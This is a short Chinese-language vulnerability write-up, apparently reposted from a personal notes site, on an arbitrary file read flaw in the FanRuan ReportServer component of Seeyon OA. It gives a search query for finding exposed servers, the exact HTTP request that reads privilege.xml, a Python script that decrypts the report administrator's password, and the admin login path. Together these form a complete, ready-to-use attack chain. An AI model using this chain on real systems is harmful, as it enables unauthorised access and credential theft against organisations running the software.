登录 白背景

致远OA 帆软组件 ReportServer存在任意文件读取漏洞

一、漏洞简介

致远OA 帆软组件 ReportServer存在任意文件读取漏洞,攻击者可通过该漏洞获取帆软报表管理员密码。

二、影响版本

  • 致远OA 帆软组件

三、资产测绘

  • hunterweb.title="致远A8-V5协同管理软件 V6.1sp1"
  • 特征

1697472255260-1eeec6ad-6f10-488d-9920-a2db6384488e.png

四、漏洞复现

GET /seeyonreport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

1713889296353-c261b1c0-492b-4772-b7f5-464faec6474c.png

使用解密脚本解密

cipher = '___0072002a00670066000a' #密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] #掩码
Password = ""
cipher = cipher[3:] #截断三位后
for i in range(int(len(cipher) / 4)):
    c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
    c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
    Password = Password + chr(c2)
print (Password)

1713889364542-9a933756-b7eb-4105-a5d4-01f01017107e.png

登录入口

/seeyonreport/ReportServer?op=fs_load&cmd=fs_signin&_=1713888864019

1713889393574-39e1aaf2-b2d5-470e-801a-80bb3bb9d1c6.png

1713889423115-08a19e35-9c48-47d9-80f0-16f7f113a74a.png

原文: https://www.yuque.com/xiaokp7/ocvun2/avvl98izvl3571gb